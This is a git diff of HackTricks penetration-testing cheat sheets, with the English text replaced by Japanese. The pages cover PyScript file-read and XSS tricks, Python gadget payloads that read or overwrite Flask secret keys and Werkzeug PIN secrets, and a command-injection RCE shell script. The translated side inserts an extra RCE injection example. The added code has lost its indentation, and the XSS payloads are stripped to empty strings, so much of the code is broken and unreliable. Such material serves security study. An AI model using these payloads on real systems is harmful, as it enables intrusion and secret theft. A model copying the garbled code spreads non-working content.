[**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** -## PyScript Pentesting Guide +## PyScriptペネトレーションテストガイド -PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes. +PyScriptは、PythonをHTMLに統合するために開発された新しいフレームワークですので、HTMLと一緒に使用することができます。このチートシートでは、ペネトレーションテストの目的でPyScriptを使用する方法について説明します。 -### Dumping / Retrieving files from the Emscripten virtual memory filesystem: +### Emscripten仮想メモリファイルシステムからのファイルのダンプ/取得: `CVE ID: CVE-2022-30286`\ \ -Code: - +コード: ```html - with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: - out = fin.read() - print(out) +with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: +out = fin.read() +print(out) ``` - -Result: +結果: ![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png) -### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) +### [Emscripten仮想メモリファイルシステムのOOBデータエクスフィルトレーション(コンソールモニタリング)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) `CVE ID: CVE-2022-30286`\ \ -Code: - +コード: ```html - + x = "CyberGuy" if x == "CyberGuy": - with open('/lib/python3.10/asyncio/tasks.py') as output: - contents = output.read() - print(contents) +with open('/lib/python3.10/asyncio/tasks.py') as output: +contents = output.read() +print(contents) print('') - + ``` - -Result: +結果: ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) -### Cross Site Scripting (Ordinary) - -Code: +### クロスサイトスクリプティング(通常) +コード: ```python - print("") +print("") ``` - -Result: +結果: ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) -### Cross Site Scripting (Python Obfuscated) - -Code: +### クロスサイトスクリプティング(Pythonの難読化) +コード: ```python sur = "\u0027al";fur = "e";rt = "rt" @@ -88,37 +81,32 @@ y = "o";m = "ner";z = "ror\u003d" print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) ``` - -Result: +結果: ![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png) -### Cross Site Scripting (JavaScript Obfuscation) - -Code: +### クロスサイトスクリプティング(JavaScriptの難読化) +コード: ```html - prinht("") - +prinht("") + ``` - -Result: +結果: ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) -### DoS attack (Infinity loop) - -Code: +### DoS攻撃(無限ループ) +コード: ```html - - while True: - print("                              ") - + +while True: +print("                              ") + ``` - -Result: +結果: ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) @@ -126,14 +114,14 @@ Result: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたいですか?** または、**HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/generic-methodologies-and-resources/python/python-internal-read-gadgets.md index d49a0bdf2..a8ccfb5e8 100644 --- a/generic-methodologies-and-resources/python/python-internal-read-gadgets.md +++ b/generic-methodologies-and-resources/python/python-internal-read-gadgets.md @@ -1,35 +1,33 @@ -# Python Internal Read Gadgets +# Python内部の読み取りガジェット
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -Different vulnerabilities such as [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) or [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) might allow you to **read python internal data but won't allow you to execute code**. Therefore, a pentester will need to make the most of these read permissions to **obtain sensitive privileges and escalate the vulnerability**. +[**Pythonフォーマット文字列**](bypass-python-sandboxes/#python-format-string)や[**クラスの汚染**](class-pollution-pythons-prototype-pollution.md)などのさまざまな脆弱性は、**Pythonの内部データを読み取ることはできますが、コードの実行は許可されません**。したがって、ペンテスターはこれらの読み取り権限を最大限に活用して、**機密特権を取得し、脆弱性をエスカレーション**させる必要があります。 -### Flask - Read secret key - -The main page of a Flask application will probably have the **`app`** global object where this **secret is configured**. +### Flask - シークレットキーの読み取り +Flaskアプリケーションのメインページにはおそらく**`app`**というグローバルオブジェクトがあり、この**シークレットが設定**されています。 ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` +この場合、[**Pythonサンドボックス回避ページ**](bypass-python-sandboxes/)から**グローバルオブジェクトにアクセスする**ためのガジェットを使用して、このオブジェクトにアクセスすることが可能です。 -In this case it's possible to access this object just using any gadget to **access global objects** from the [**Bypass Python sandboxes page**](bypass-python-sandboxes/). +もし**脆弱性が別のPythonファイルにある場合**、メインのファイルにたどり着くためのガジェットが必要です。これにより、Flaskのシークレットキーを変更して、[**このキーを知ることで特権を昇格**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)することができます。 -In the case where **the vulnerability is in a different python file**, you need a gadget to traverse files to get to the main one to **access the global object `app.secret_key`** to change the Flask secret key and be able to [**escalate privileges** knowing this key](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). - -A payload like this one [from this writeup](https://ctftime.org/writeup/36082): +このようなペイロードは、[この解説記事](https://ctftime.org/writeup/36082)から取得できます: {% code overflow="wrap" %} ```python @@ -37,31 +35,29 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se ``` {% endcode %} -Use this payload to **change `app.secret_key`** (the name in your app might be different) to be able to sign new and more privileges flask cookies. +このペイロードを使用して、`app.secret_key`(アプリ内の名前は異なる場合があります)を変更し、新しい特権を持つflaskクッキーに署名できるようにします。 -### Werkzeug - machine\_id and node uuid - -[**Using these payload from this writeup**](https://vozec.fr/writeups/tweedle-dum-dee/) you will be able to access the **machine\_id** and the **uuid** node, which are the **main secrets** you need to [**generate the Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md) you can use to access the python console in `/console` if the **debug mode is enabled:** +### Werkzeug - machine\_id と node uuid +[**この解説からのペイロードを使用すると**](https://vozec.fr/writeups/tweedle-dum-dee/)、**machine\_id** と **uuid** ノードにアクセスできるようになります。これらは、[**Werkzeugピンを生成するために必要な主要な秘密**](../../network-services-pentesting/pentesting-web/werkzeug.md)です。デバッグモードが有効な場合、`/console` でPythonコンソールにアクセスするために使用できます。 ```python {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id} {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node} ``` - {% hint style="warning" %} -Note that you can get the **servers local path to the `app.py`** generating some **error** in the web page which will **give you the path**. +`app.py`への**サーバーのローカルパス**を取得するには、ウェブページでいくつかの**エラー**を生成し、それによって**パスを取得**することができます。 {% endhint %} -If the vulnerability is in a different python file, check the previous Flask trick to access the objects from the main python file. +もし脆弱性が別のPythonファイルにある場合は、メインのPythonファイルからオブジェクトにアクセスするための前のFlaskのトリックをチェックしてください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index 9ee58dcb6..8a10e4906 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -3,8 +3,8 @@ ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,14 +12,13 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - ```bash sudo apt-get install python3-venv #Now, go to the folder you want to create the virtual environment @@ -38,23 +37,22 @@ is fixed running pip3 install wheel inside the virtual environment ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index f0ca85712..171715552 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -1,10 +1,10 @@ -# Web Requests +# Webリクエスト ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,16 +12,15 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Python Requests - +## Pythonリクエスト ```python import requests @@ -65,76 +64,94 @@ proxies = {} s = requests.Session() def register(username, password): - resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0) - return resp +resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0) +return resp def login(username, password): - resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0) - return resp +resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0) +return resp def get_info(name): - resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0) - guid = re.match('' + name + '', resp.text)[1] - return guid +resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0) +guid = re.match('' + name + '', resp.text)[1] +return guid def upload(guid, filename, data): - resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0) - guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1] - return guid +resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0) +guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1] +return guid def json_search(guid, search_string): - resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0) - return resp.json() +resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0) +return resp.json() def get_random_string(guid, path): - return ''.join(random.choice(string.ascii_letters) for i in range(10)) +return ''.join(random.choice(string.ascii_letters) for i in range(10)) +``` +## RCEを悪用するためのPythonコマンド + +To exploit an RCE (Remote Code Execution) vulnerability using Python, you can use the following command: + +RCE(リモートコード実行)の脆弱性を悪用するために、Pythonを使用して以下のコマンドを実行します。 + +```python +import requests + +url = "http://target.com/vulnerable_endpoint" +command = "ls -la" + +payload = "; " + command + ";" + +response = requests.get(url + payload) + +print(response.text) ``` -## Python cmd to exploit an RCE +In this example, we are using the `requests` library to send an HTTP GET request to the vulnerable endpoint. We append our desired command to the URL as a payload, separating it with semicolons. The vulnerable server will execute the command and return the output in the response. Finally, we print the response text, which will contain the result of the executed command. +この例では、`requests`ライブラリを使用して脆弱なエンドポイントにHTTP GETリクエストを送信しています。URLに望むコマンドをペイロードとして追加し、セミコロンで区切ります。脆弱なサーバーはコマンドを実行し、レスポンスに出力結果を返します。最後に、実行されたコマンドの結果が含まれるレスポンステキストを表示します。 ```python import requests import re from cmd import Cmd class Terminal(Cmd): - prompt = "Inject => " +prompt = "Inject => " - def default(self, args): - output = RunCmd(args) - print(output) +def default(self, args): +output = RunCmd(args) +print(output) def RunCmd(cmd): - data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' } - r = requests.post('http://10.10.10.127/select', data=data) - page = r.text - m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL) - if m: - return m.group(1) - else: - return 1 - +data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' } +r = requests.post('http://10.10.10.127/select', data=data) +page = r.text +m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL) +if m: +return m.group(1) +else: +return 1 + term = Terminal() term.cmdloop() ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
